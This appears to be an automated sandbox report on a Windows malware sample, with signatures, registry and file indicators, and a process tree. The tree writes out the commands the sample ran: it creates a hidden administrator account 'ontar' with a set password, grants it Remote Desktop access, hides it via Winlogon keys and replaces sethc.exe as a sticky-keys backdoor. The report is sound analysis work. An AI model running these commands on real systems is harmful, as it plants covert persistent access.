Resource
win10
Behavioral task
behavioral197
Sample
foo/fcdc003a1529fe3660b160fd012173b3.exe
Resource
win7v200722
Behavioral task
behavioral198
Sample
foo/fcdc003a1529fe3660b160fd012173b3.exe
Resource
win10
Behavioral task
behavioral199
Sample
foo/fffb61eaaac6e8a40bfaa7a4acb6b9ba.exe
Resource
win7
Behavioral task
behavioral200
Sample
foo/fffb61eaaac6e8a40bfaa7a4acb6b9ba.exe
Resource
win10v200722
General
Malware Config
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Creates new service(s) 1 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
TSPatch.exepid process 3008 TSPatch.exe -
Modifies Windows Firewall 1 TTPs
-
Sets file execution options in registry 2 TTPs
-
Stops running service(s) 3 TTPs
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe upx C:\Users\Admin\AppData\Local\Temp\foo\TSPatch.exe upx -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exetakeown.exepid process 2592 takeown.exe 1168 takeown.exe -
Modifies WinLogon 2 TTPs 13 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\helpassistant = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\ontar = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\SYSTEМ = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Аdministrator = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList reg.exe Key created \REGISTRY\MACHINE\software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Aдминистратор = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\ontar = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts reg.exe -
Drops file in System32 directory 6 IoCs
Processes:
cmd.exedescription ioc process File opened for modification C:\Windows\SysWOW64\dllcache\sethc.exe cmd.exe File created C:\Windows\SysWOW64\dllcache\wsethc.exe cmd.exe File opened for modification C:\Windows\SysWOW64\dllcache\wsethc.exe cmd.exe File opened for modification C:\Windows\SysWOW64\sethc.exe cmd.exe File created C:\Windows\SysWOW64\sethc.exe cmd.exe File created C:\Windows\SysWOW64\dllcache\sethc.exe cmd.exe -
Drops file in Windows directory 8 IoCs
Processes:
cmd.exesvchost.exesvchost.exedescription ioc process File created C:\Windows\LastGood\SysWOW64\sethc.exe cmd.exe File created C:\Windows\ServicePackFiles\i386\sethc.exe cmd.exe File created C:\Windows\INF\netsstpa.PNF svchost.exe File created C:\Windows\INF\netrasa.PNF svchost.exe File created C:\Windows\drmsvc.exe cmd.exe File opened for modification C:\Windows\drmsvc.exe cmd.exe File created C:\Windows\wpmsvc.exe cmd.exe File opened for modification C:\Windows\wpmsvc.exe cmd.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Capabilities svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Capabilities svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe -
Runs net.exe
-
Suspicious behavior: LoadsDriver 10 IoCs
Processes:
pid 4 4 4 4 4 608 4 4 4 4 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
takeown.exetakeown.exeTSPatch.exesvchost.exesvchost.exeWMIC.exedescription pid process Token: SeTakeOwnershipPrivilege 2592 takeown.exe Token: SeTakeOwnershipPrivilege 1168 takeown.exe Token: SeDebugPrivilege 3008 TSPatch.exe Token: SeShutdownPrivilege 3464 svchost.exe Token: SeCreatePagefilePrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeLoadDriverPrivilege 3464 svchost.exe Token: SeShutdownPrivilege 3956 svchost.exe Token: SeCreatePagefilePrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeLoadDriverPrivilege 3956 svchost.exe Token: SeIncreaseQuotaPrivilege 3040 WMIC.exe Token: SeSecurityPrivilege 3040 WMIC.exe Token: SeTakeOwnershipPrivilege 3040 WMIC.exe Token: SeLoadDriverPrivilege 3040 WMIC.exe Token: SeSystemProfilePrivilege 3040 WMIC.exe Token: SeSystemtimePrivilege 3040 WMIC.exe Token: SeProfSingleProcessPrivilege 3040 WMIC.exe Token: SeIncBasePriorityPrivilege 3040 WMIC.exe Token: SeCreatePagefilePrivilege 3040 WMIC.exe Token: SeBackupPrivilege 3040 WMIC.exe Token: SeRestorePrivilege 3040 WMIC.exe Token: SeShutdownPrivilege 3040 WMIC.exe Token: SeDebugPrivilege 3040 WMIC.exe Token: SeSystemEnvironmentPrivilege 3040 WMIC.exe Token: SeRemoteShutdownPrivilege 3040 WMIC.exe Token: SeUndockPrivilege 3040 WMIC.exe Token: SeManageVolumePrivilege 3040 WMIC.exe Token: 33 3040 WMIC.exe Token: 34 3040 WMIC.exe Token: 35 3040 WMIC.exe Token: 36 3040 WMIC.exe Token: SeIncreaseQuotaPrivilege 3040 WMIC.exe Token: SeSecurityPrivilege 3040 WMIC.exe Token: SeTakeOwnershipPrivilege 3040 WMIC.exe Token: SeLoadDriverPrivilege 3040 WMIC.exe Token: SeSystemProfilePrivilege 3040 WMIC.exe Token: SeSystemtimePrivilege 3040 WMIC.exe Token: SeProfSingleProcessPrivilege 3040 WMIC.exe Token: SeIncBasePriorityPrivilege 3040 WMIC.exe Token: SeCreatePagefilePrivilege 3040 WMIC.exe Token: SeBackupPrivilege 3040 WMIC.exe Token: SeRestorePrivilege 3040 WMIC.exe Token: SeShutdownPrivilege 3040 WMIC.exe Token: SeDebugPrivilege 3040 WMIC.exe Token: SeSystemEnvironmentPrivilege 3040 WMIC.exe Token: SeRemoteShutdownPrivilege 3040 WMIC.exe Token: SeUndockPrivilege 3040 WMIC.exe Token: SeManageVolumePrivilege 3040 WMIC.exe Token: 33 3040 WMIC.exe Token: 34 3040 WMIC.exe Token: 35 3040 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
bc6536b86b04cf5b3bf7cd353d615ab9.execmd.execmd.exenet.exenet.exedescription pid process target process PID 468 wrote to memory of 3064 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe cmd.exe PID 468 wrote to memory of 3064 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe cmd.exe PID 468 wrote to memory of 3064 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe cmd.exe PID 3064 wrote to memory of 3880 3064 cmd.exe chcp.com PID 3064 wrote to memory of 3880 3064 cmd.exe chcp.com PID 3064 wrote to memory of 3880 3064 cmd.exe chcp.com PID 468 wrote to memory of 3932 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe cmd.exe PID 468 wrote to memory of 3932 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe cmd.exe PID 468 wrote to memory of 3932 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe cmd.exe PID 3932 wrote to memory of 3588 3932 cmd.exe attrib.exe PID 3932 wrote to memory of 3588 3932 cmd.exe attrib.exe PID 3932 wrote to memory of 3588 3932 cmd.exe attrib.exe PID 3064 wrote to memory of 3996 3064 cmd.exe net.exe PID 3064 wrote to memory of 3996 3064 cmd.exe net.exe PID 3064 wrote to memory of 3996 3064 cmd.exe net.exe PID 3932 wrote to memory of 1692 3932 cmd.exe reg.exe PID 3932 wrote to memory of 1692 3932 cmd.exe reg.exe PID 3932 wrote to memory of 1692 3932 cmd.exe reg.exe PID 468 wrote to memory of 3008 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe TSPatch.exe PID 468 wrote to memory of 3008 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe TSPatch.exe PID 468 wrote to memory of 3008 468 bc6536b86b04cf5b3bf7cd353d615ab9.exe TSPatch.exe PID 3932 wrote to memory of 3140 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3140 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3140 3932 cmd.exe reg.exe PID 3932 wrote to memory of 60 3932 cmd.exe reg.exe PID 3932 wrote to memory of 60 3932 cmd.exe reg.exe PID 3932 wrote to memory of 60 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3068 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3068 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3068 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3796 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3796 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3796 3932 cmd.exe reg.exe PID 3996 wrote to memory of 3864 3996 net.exe net1.exe PID 3996 wrote to memory of 3864 3996 net.exe net1.exe PID 3996 wrote to memory of 3864 3996 net.exe net1.exe PID 3932 wrote to memory of 3828 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3828 3932 cmd.exe reg.exe PID 3932 wrote to memory of 3828 3932 cmd.exe reg.exe PID 3932 wrote to memory of 2592 3932 cmd.exe takeown.exe PID 3932 wrote to memory of 2592 3932 cmd.exe takeown.exe PID 3932 wrote to memory of 2592 3932 cmd.exe takeown.exe PID 3064 wrote to memory of 1920 3064 cmd.exe net.exe PID 3064 wrote to memory of 1920 3064 cmd.exe net.exe PID 3064 wrote to memory of 1920 3064 cmd.exe net.exe PID 1920 wrote to memory of 3860 1920 net.exe net1.exe PID 1920 wrote to memory of 3860 1920 net.exe net1.exe PID 1920 wrote to memory of 3860 1920 net.exe net1.exe PID 3932 wrote to memory of 1168 3932 cmd.exe takeown.exe PID 3932 wrote to memory of 1168 3932 cmd.exe takeown.exe PID 3932 wrote to memory of 1168 3932 cmd.exe takeown.exe PID 3932 wrote to memory of 1336 3932 cmd.exe cmd.exe PID 3932 wrote to memory of 1336 3932 cmd.exe cmd.exe PID 3932 wrote to memory of 1336 3932 cmd.exe cmd.exe PID 3932 wrote to memory of 1156 3932 cmd.exe cacls.exe PID 3932 wrote to memory of 1156 3932 cmd.exe cacls.exe PID 3932 wrote to memory of 1156 3932 cmd.exe cacls.exe PID 3932 wrote to memory of 3980 3932 cmd.exe cmd.exe PID 3932 wrote to memory of 3980 3932 cmd.exe cmd.exe PID 3932 wrote to memory of 3980 3932 cmd.exe cmd.exe PID 3932 wrote to memory of 1444 3932 cmd.exe cacls.exe PID 3932 wrote to memory of 1444 3932 cmd.exe cacls.exe PID 3932 wrote to memory of 1444 3932 cmd.exe cacls.exe PID 3932 wrote to memory of 3744 3932 cmd.exe cmd.exe -
Views/modifies file attributes 1 TTPs 3 IoCs
Processes:
attrib.exeattrib.exeattrib.exepid process 3588 attrib.exe 2036 attrib.exe 4124 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\foo\bc6536b86b04cf5b3bf7cd353d615ab9.exe"C:\Users\Admin\AppData\Local\Temp\foo\bc6536b86b04cf5b3bf7cd353d615ab9.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\foo\U.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\chcp.comchcp 12513⤵
-
C:\Windows\SysWOW64\net.exenet user ontar /DELETE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user ontar /DELETE4⤵
-
C:\Windows\SysWOW64\net.exenet user ontar Preaba1! /add3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user ontar Preaba1! /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administrators ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Администраторы ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Администраторы ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Пользователи удаленного рабочего стола" ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" ontar /add4⤵
-
C:\Windows\SysWOW64\net.exenet localgroup Administrateurs ontar /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrateurs ontar /add4⤵
-
